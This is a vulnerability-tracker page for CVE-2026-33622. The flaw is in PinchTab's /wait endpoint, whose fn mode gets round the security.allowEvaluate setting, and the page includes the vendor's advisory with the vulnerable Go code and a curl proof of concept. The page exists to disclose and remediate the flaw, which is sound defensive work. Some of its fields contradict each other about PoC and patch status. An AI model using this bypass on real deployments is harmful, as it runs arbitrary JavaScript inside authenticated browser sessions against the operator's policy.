Skip to main content

Suse CVE-2026-33622

MEDIUM
Code Injection (CWE-94)
2026-03-24 https://github.com/pinchtab/pinchtab
6.1
CVSS 4.0 · GitHub Advisory
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

This vulnerability presents moderate to high real-world risk despite the absence of a CVSS vector or EPSS score. The attack vector is network-based (POST requests to HTTP API), privileges required are low (authenticated with API token), and attack complexity is low (simple JSON POST with JavaScript expression). While the vendor has not assigned a CVSS vector, the combination of an available proof-of-concept, consistent policy-bypass pattern across two endpoints, and the fact that this affects a security control (rather than being a separate unauthenticated flaw) elevates practical concern. The vulnerability is not a complete authentication bypass but rather a policy enforcement bypass, meaning risk depends entirely on API token distribution and whether exposed tabs contain sensitive authenticated state. Organizations that have deliberately disabled security.allowEvaluate to prevent JavaScript evaluation will find that setting reliably ineffective in versions 0.8.3–0.8.5, reducing defense-in-depth and potentially violating compliance controls. The existence of non-code wait modes (selector, text, url, load, ms) means this is not a required feature bypass, making the security boundary violation more egregious.

Exploit ScenarioDerived

An authenticated user with a valid API token can craft a POST request to /wait with fn mode containing arbitrary JavaScript code, such as fn='(function(){window._poc_executed=true;return true})()' which introduces side effects in the browser tab state. Because the /wait endpoint does not check security.allowEvaluate before evaluating fn, the JavaScript is executed in the browser context even if the operator explicitly set security.allowEvaluate to false to prevent such execution. The attacker can then use subsequent /wait requests with fn mode to read or verify these side effects, confirming arbitrary code execution. A proof-of-concept demonstrating this attack flow is publicly available in the vendor's security advisory, making exploitation straightforward for any actor with API token access.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 24, 2026

PinchTab versions 0.8.3 through 0.8.5 contain a security-policy bypass that allows arbitrary JavaScript execution through the POST /wait endpoint's fn mode, even when the security.allowEvaluate setting is explicitly disabled. While the /evaluate endpoint correctly enforces the allowEvaluate guard, the /wait endpoint fails to apply the same policy check before evaluating caller-supplied JavaScript expressions, enabling authenticated users with an API token to execute arbitrary code in browser tab contexts despite the operator's intention to disable JavaScript evaluation. A proof-of-concept demonstrating this bypass has been published by the vendor, showing that side effects can be introduced in page state and confirmed through subsequent requests.

RemediationAI

Upgrade PinchTab to a version released after the current worktree fix is merged (exact version number to be determined by the vendor release process; check GitHub releases at https://github.com/pinchtab/pinchtab). Until a patched release is available, enforce the security boundary manually by disabling API access to the /wait endpoint entirely via reverse proxy or network access control, or disable API token distribution and restrict PinchTab to localhost-only access. If security.allowEvaluate must remain disabled, use only the non-code wait modes (selector, text, url, load, ms) and reject any fn-mode requests at the API gateway level. Monitor API logs for POST /wait requests containing fn fields and treat any such requests as suspicious.

Affected Packages

go github.com/pinchtab/pinchtab no fix
go github.com/pinchtab/pinchtab/cmd/pinchtab no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

PinchTab is a Go-based headless browser control service (pkg:go/github.com_pinchtab_pinchtab_cmd_pinchtab) that provides REST API endpoints for browser automation via chromedp, a Go package for controlling Chrome/Chromium via the DevTools Protocol. The vulnerability stems from CWE-94 (Improper Control of Generation of Code), specifically a code generation flaw where user-supplied fn expressions are interpolated directly into JavaScript templates without validation against the security.allowEvaluate policy boundary. The /evaluate endpoint implements the guard correctly by checking evaluateEnabled() before processing requests, but the /wait endpoint's fn mode branch bypasses this check entirely, embedding req.Fn directly into executable JavaScript via fmt.Sprintf() and passing it to chromedp.Evaluate() for execution in the browser context. This creates an inconsistent security boundary where the same dangerous operation is gated on one endpoint but not another.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 6.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:N/SC:H/SI:N/SA:N
SUSE 8.8 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
High
User Interaction
None
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
High
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionGitHub Advisory

Summary

PinchTab v0.8.3 through v0.8.5 allow arbitrary JavaScript execution through POST /wait and POST /tabs/{id}/wait when the request uses fn mode, even if security.allowEvaluate is disabled.

POST /evaluate correctly enforces the security.allowEvaluate guard, which is disabled by default. However, in the affected releases, POST /wait accepted a user-controlled fn expression, embedded it directly into executable JavaScript, and evaluated it in the browser context without checking the same policy.

This is a security-policy bypass rather than a separate authentication bypass. Exploitation still requires authenticated API access, but a caller with the server token can execute arbitrary JavaScript in a tab context even when the operator explicitly disabled JavaScript evaluation.

The current worktree fixes this by applying the same policy boundary to fn mode in /wait that already exists on /evaluate, while preserving the non-code wait modes.

Details

Issue 1 - /evaluate enforced the guard, /wait did not (v0.8.3 through v0.8.5): The dedicated evaluate endpoint rejected requests when security.allowEvaluate was disabled:

go
// internal/handlers/evaluate.go - v0.8.5
func (h *Handlers) evaluateEnabled() bool {
    return h != nil && h.Config != nil && h.Config.AllowEvaluate
}

func (h *Handlers) HandleEvaluate(w http.ResponseWriter, r *http.Request) {
    if !h.evaluateEnabled() {
        httpx.ErrorCode(w, 403, "evaluate_disabled", httpx.DisabledEndpointMessage("evaluate", "security.allowEvaluate"), false, map[string]any{
            "setting": "security.allowEvaluate",
        })
        return
    }
    // ...
}

In the same releases, /wait did not apply that guard before evaluating fn:

go
// internal/handlers/wait.go - v0.8.5 (vulnerable)
func (h *Handlers) handleWaitCore(w http.ResponseWriter, r *http.Request, req waitRequest) {
    mode := req.mode()
    if mode == "" {
        httpx.Error(w, 400, fmt.Errorf("one of selector, text, url, load, fn, or ms is required"))
        return
    }

    // No evaluateEnabled() check here in affected releases
    // ...
}

Issue 2 - fn mode evaluated caller-supplied JavaScript directly: The fn branch built executable JavaScript from the request field and passed it to chromedp.Evaluate:

go
// internal/handlers/wait.go - v0.8.5 (vulnerable)
case "fn":
    js = fmt.Sprintf(`!!(function(){try{return %s}catch(e){return false}})()`, req.Fn)
    matchLabel = "fn"

// Poll loop
evalErr := chromedp.Run(tCtx, chromedp.Evaluate(js, &result))

Because req.Fn was interpolated directly into evaluated JavaScript, a caller could supply expressions with side effects, not just passive predicates.

Issue 3 - Current worktree contains an unreleased fix: The current worktree closes this gap by making fn mode in /wait respect the same security.allowEvaluate policy boundary that /evaluate already enforced. The underlying non-code wait modes remain available.

PoC

Prerequisites

  • PinchTab v0.8.3, v0.8.4, or v0.8.5
  • A configured API token
  • security.allowEvaluate = false
  • A reachable tab context, created by the caller or already present

Step 1 - Confirm /evaluate is blocked by policy

bash
curl -s -X POST http://localhost:9867/evaluate \
  -H "Authorization: Bearer <TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"expression":"1+1"}'

Expected:

json
{
  "code": "evaluate_disabled"
}

Step 2 - Open a tab

bash
curl -s -X POST http://localhost:9867/navigate \
  -H "Authorization: Bearer <TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"url":"https://example.com"}'

Example result:

json
{
  "tabId": "<TAB_ID>",
  "title": "Example Domain",
  "url": "https://example.com/"
}

Step 3 - Execute JavaScript through /wait using fn mode

bash
curl -s -X POST http://localhost:9867/wait \
  -H "Authorization: Bearer <TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{
    "tabId":"<TAB_ID>",
    "fn":"(function(){window._poc_executed=true;return true})()",
    "timeout":5000
  }'

Example result:

json
{
  "waited": true,
  "elapsed": 1,
  "match": "fn"
}

Step 4 - Verify the side effect

bash
curl -s -X POST http://localhost:9867/wait \
  -H "Authorization: Bearer <TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{
    "tabId":"<TAB_ID>",
    "fn":"window._poc_executed === true",
    "timeout":3000
  }'

Example result:

json
{
  "waited": true,
  "elapsed": 0,
  "match": "fn"
}

Observation

  1. /evaluate returns evaluate_disabled when security.allowEvaluate is off.
  2. /wait still evaluates caller-supplied JavaScript through fn mode in the affected releases.
  3. The first /wait request introduces a side effect in page state.
  4. The second /wait request confirms that the side effect occurred, demonstrating arbitrary JavaScript execution despite the disabled evaluate policy.

Impact

  1. Bypass of the explicit security.allowEvaluate control in v0.8.3 through v0.8.5.
  2. Arbitrary JavaScript execution in the reachable browser tab context for callers who already possess the server API token.
  3. Ability to read or modify page state and act within authenticated browser sessions available to that tab context.
  4. Inconsistent security boundaries between /evaluate and /wait, making the configured execution policy unreliable.
  5. This is not an unauthenticated issue. Practical risk depends on who can access the API and whether the deployment exposes tabs containing sensitive authenticated state.

Suggested Remediation

  1. Make fn mode in /wait enforce the same policy check as /evaluate.
  2. Keep non-code wait modes available when JavaScript evaluation is disabled.
  3. Add regression coverage so the policy boundary remains consistent across endpoints.

Executive ViewAI

Why It Matters

CVE-2026-33622 presents moderate security risk, a code injection vulnerability rated CVSS 6.1. Exploitation could allow attackers to execute code or inject malicious input. Organizations should apply vendor updates when available and monitor for exploitation.

Business Impact: Low
Compensating Controls

Apply vendor patch. If patching is delayed: deploy WAF rules, restrict network access, enable logging.

Threat Intelligence Overview

EPSS Score
0.1%
Top 74% exploitable
Data Quality
4 sources
Confidence: Medium
NVD CVE.org EPSS Vulnrichment Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
Low
Technical Impact
Partial

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Affected Products (CPE)GitHub Advisory

pkg:go/github.com_pinchtab_pinchtab_cmd_pinchtab

Vendor StatusVendor

SUSE

Severity: High
Product Status
openSUSE Leap 15.6 Fixed
SUSE Linux Enterprise Module for Package Hub 15 SP5 Fixed
SUSE Linux Enterprise Module for Package Hub 15 SP6 Fixed
openSUSE Leap 15.5 Fixed

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy